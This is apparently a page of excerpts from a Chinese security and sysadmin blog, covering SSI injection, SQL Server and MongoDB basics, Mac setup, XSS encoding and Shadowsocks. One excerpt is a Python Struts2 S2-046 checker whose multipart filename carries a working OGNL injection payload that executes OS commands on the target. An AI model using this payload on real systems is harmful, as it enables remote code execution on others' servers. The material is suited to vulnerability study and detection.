SSI 注入
0x00 SSI
SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
more...SQLServer 存储过程
0x00 数据表结构
CREATE DATABASE student;
CREATE TABLE info
(
id INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
name VARCHAR(20) NOT NULL DEFAULT 'xiaoming',
sex INT NOT NULL DEFAULT 1,
age INT NOT NULL DEFAULT 0,
hight INT NOT NULL DEFAULT 0
)
INSERT INTO info(name,sex,age,hight) VALUES('xiaohong',0,23,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaogang',1,24,175);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoliu',1,21,160);
INSERT INTO info(name,sex,age,hight) VALUES('xiaozhang',1,19,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoli',1,23,170);
INSERT INTO info(name,sex,age,hight) VALUES('xiaohua',0,23,160);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoming',1,21,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaowang',1,23,166);
INSERT INTO info(name,sex,age,hight) VALUES('xiaojuan',0,21,159);
0x01 存储过程
--如果存在名为get_student_msg(相当于函数)的存储过程则删除
IF EXISTS (SELECT name FROM sysobjects WHERE name='get_student_msg' AND type='p')
DROP PROCEDURE get_student_msg
CREATE PROCEDURE get_student_msg --创建存储过程
@name VARCHAR(20) --声明全局变量
AS
BEGIN
SELECT * from info
WHERE name=@name
END
GO
--创建好存储过程后在其他地方直接使用函数并传参就行了
EXEC get_student_msg 'xiaoli'
0x02 使用游标的存储过程
-- 使用DECLARE声明局部变量,一般在函数和存储过程中使用
DECLARE @name VARCHAR(20)
DECLARE @sex INT
DECLARE @age INT
DECLARE @hight INT
DECLARE stu_cursor CURSOR FOR --定义游标,后面跟sql语句
SELECT name,sex,age,hight --使用游标的对象(根据需要写select语句)
FROM dbo.info
WHERE age IN (23,24)
OPEN stu_cursor --打开游标
--将游标向下移1行,并把下一行作为当前行(递归)
--游标刚打开时可以理解为指向第一行之前,所以这里就是把游标指向第一行
--然后获取游标指向行的数据
FETCH NEXT FROM stu_cursor INTO @name,@sex,@age,@hight
WHILE (@@FETCH_STATUS = 0) --判断是否成功获取数据
BEGIN
PRINT '名字: '+@name
PRINT '性别: '+STR(@sex)
PRINT '年龄: '+STR(@age)
PRINT '身高: '+STR(@hight)
PRINT ''
--游标指向下一行(第二行),然后取出这一行的数据
FETCH NEXT FROM stu_cursor INTO @name,@sex,@age,@hight
END
CLOSE stu_cursor --关闭游标
DEALLOCATE stu_cursor --删除游标
SQLServer 的基本使用
0x00 数据库
-- 创建数据库
CREATE DATABASE student;
-- 选择数据库
USE student;
-- 查看当前数据库
SELECT DB_NAME();
-- 查看当前数据库
SELECT DB_NAME();
-- 查看数据库版本
SELECT @@version;
0x01 数据表
-- 创建数据库表
CREATE TABLE info
(
id INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
name VARCHAR(20) NOT NULL DEFAULT 'xiaoming',
sex INT NOT NULL DEFAULT 1
)
-- 查看表结构
EXEC sp_help 'info';
-- 更新表结构
ALTER TABLE info add age int; -- 添加一列
ALTER TABLE info DROP COLUMN age; -- 删除一列
-- 插入数据
INSERT INTO info(name,sex)
VALUES('xiaohong',0);
-- 查看数据
SELECT * FROM dbo.info;
-- 更新数据
UPDATE info
SET name='aaa',sex=1
WHERE id=1;
-- 删除数据
DELETE info
WHERE id=1;
-- 删除表
DROP TABLE info;
MongoDB 的基本使用
0x00 角色和权限
Mongo的授权采用了角色授权的方法,每个用户都有一组权限,Monog内建角色权限如下:
- 数据库用户角色
- read:允许用户读取指定数据库
- readWrite:允许用户读写指定数据库
- 数据库管理角色
- dbOwner:包含readWrite、dbAdmin、userAdmin
- dbAdmin:允许用户在指定数据库中对集合、文档等操作
- userAdmin:允许用户向system.users集合写入,可以在指定数据库里创建、删除和管理用户
- 集群管理角色
- clusterAdmin:只在admin数据库中可用,包含clusterManager、clusterMonitor、hostManager
- clusterManager:
- clusterMonitor:
- hostManager
- 备份和恢复角色
- backup
- restore
- 所有数据库角色
- readAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读权限
- readWriteAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读写权限
- dbAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的dbAdmin权限
- userAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的userAdmin权限
- 超级用户角色
- root:只在admin数据库中可用。超级账号,超级权限
- 内部角色
- __system
0x01 创建用户
#创建管理员用户
> use admin
switched to db admin
> db.createUser({
... user:"root",
... pwd:"root123",
... roles:[{"role":"root","db":"admin"}]
... })
Successfully added user: {
"user" : "root",
"roles" : [
{
"role" : "root",
"db" : "admin"
}
]
}
> db.auth("root","root123")
1
#这个例子创建了一个名为 root 的用户管理员。创建完了这个用户之后,我们应该马上以该用户的身份登录:
#db.auth() 方法返回 1 表示登录成功。接下来我们为指定的数据库创建访问所需的账号。
#创建数据库用户
> use test
switched to db test
> db.createUser({
... user:"test",
... pwd:"test123",
... roles:[
... {"role":"readWrite","db":"test"},
... {"role":"dbOwner","db":"test"}]
... })
Successfully added user: {
"user" : "test",
"roles" : [
{
"role" : "readWrite",
"db" : "test"
},
{
"role" : "dbOwner",
"db" : "test"
}
]
}
> db.auth("test","test123")
1
> exit
bye
0x02 配置
MongoDb版本:version v3.4.4
more...Mac 基础设置
macOS Sierra 10.12.6
0x00 安装brew
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
0x01 安装wget
$ brew install wget
0x02 安装oh-my-zsh
$ wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh
$ cat /etc/shells #查看当前有什么shell
$ which zsh #查看zsh路径
$ chsh -s /bin/zsh #切换shell为zsh
$ vim ~/.zshrc添加alias c='clear'
0x03 换源
# 对于zsh用户换源
$ echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
$ source ~/.zshrc
$ brew update
0x04 安装scroll-reverser
more...
Struts2-046 EXP
Struts2 046
前段时间写的struts2 046检测脚本,代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# code by reber
import sys
import pycurl
import StringIO
def initCurl():
c = pycurl.Curl()
c.setopt(pycurl.FOLLOWLOCATION, 1) #允许跟踪来源
c.setopt(pycurl.MAXREDIRS, 5)
# c.setopt(pycurl.PROXY,'http://127.0.0.1:1080')
return c
def check(curl, url):
head = [
'Connection: close',
'Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150'
]
data = '''-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo dd996b71024fa97cd015f06a7f24ed30').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\0b"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--\r\n\r\n'''
buf = StringIO.StringIO()
curl.setopt(pycurl.WRITEFUNCTION, buf.write)
curl.setopt(pycurl.POSTFIELDS, data)
curl.setopt(pycurl.URL, url)
# curl.setopt(pycurl.TIMEOUT, 10)
curl.setopt(pycurl.HTTPHEADER, head)
curl.setopt(pycurl.SSL_VERIFYPEER, 0)
curl.setopt(pycurl.SSL_VERIFYHOST, 0)
curl.perform()
the_page = buf.getvalue()
buf.close()
if 'dd996b71024fa97cd015f06a7f24ed30' in the_page:
print "%s has st2-046 vulnerable." % url
def run(url):
c = initCurl()
check(c, url)
sys.exit(0)
if __name__ == '__main__':
if len(sys.argv) == 2:
url = sys.argv[1]
run(url)
else:
print ("usage: %s http://www.baidu.com/vuln.action whoami" % sys.argv[0])
sys.exit(-1)
检测 WebLogic 是否存在 SSRF
XSS 中的编码

0x00 浏览器解析
浏览器收到服务器发来的HTML内容,会从头解析,遇到<script></script>时,
会调用js脚本解析器来解析并执行脚本,然后继续解析其他的HTML内容,
对于需要触发才能执行的事件,当事件触发时脚本解析器才会解析其中的脚本,
在这之前它是HTML的一部分
0x01 一些编码
- URL编码
%+字符的ASCII编码对应的两位十六进制,如"/"的url编码为"%2F"
HTML编码
- 实体编码
&开头分号结尾,如 "<" 的编码是 "<"- 字符编码
样式为"&#数值;",数值可为10进制、16进制ASCII编码或unicode字符编码 如"<"可编码为"<"和"<",但是必须在属性值里面JS编码
在 vps 上搭建 Shadowsocks

0x01 安装与配置
环境:Ubuntu 14.04.1 LTS
reber@localhost:~$ sudo apt-get update
reber@localhost:~$ python --version
Python 2.7.6
reber@localhost:~$ sudo apt-get install python-gevent python-pip
reber@localhost:~$ sudo pip install shadowsocks
reber@localhost:~$ vim /home/reber/shadowsocks.json
{
"server":"服务器 IP 地址", # 服务器 IP (IPv4/IPv6)
"server_port":8388, # 监听的服务器端口
"local_address": "127.0.0.1", # 本地监听的 IP 地址
"local_port":1080, # 本地端端口
"password":"mypassword", # 密码
#"port_password":
#{
# "40001": "password1",
# "40002": "password2",
# "40003": "password3"
#},
#"_comment":
#{
# "40001": "xiaoming",
# "40002": "lilei",
# "40003": "mike"
#}
"timeout":300, # 超时时间(秒)
"method":"aes-256-cfb", # 加密方式
# 若Linux内核在3.7+,可开启fast_open降低延迟
# 开启方法:echo 3 > /proc/sys/net/ipv4/tcp_fastopen
"fast_open": false,
"workers": 1 # works数量,默认为 1
}
reber@localhost:~$ sudo apt-get install python-m2crypto
0x02 服务端启动
# 前台运行
reber@localhost:~$ sudo ssserver -c /home/reber/shadowsocks.json
# 后台运行
reber@localhost:~$ sudo nohup ssserver -c /home/reber/shadowsocks.json > /dev/null 2>&1 &
# 关闭服务
reber@localhost:~$ sudo killall ssserver
0x03 本地使用
添加如下配置
Previous Page
6 of 18
Next Page




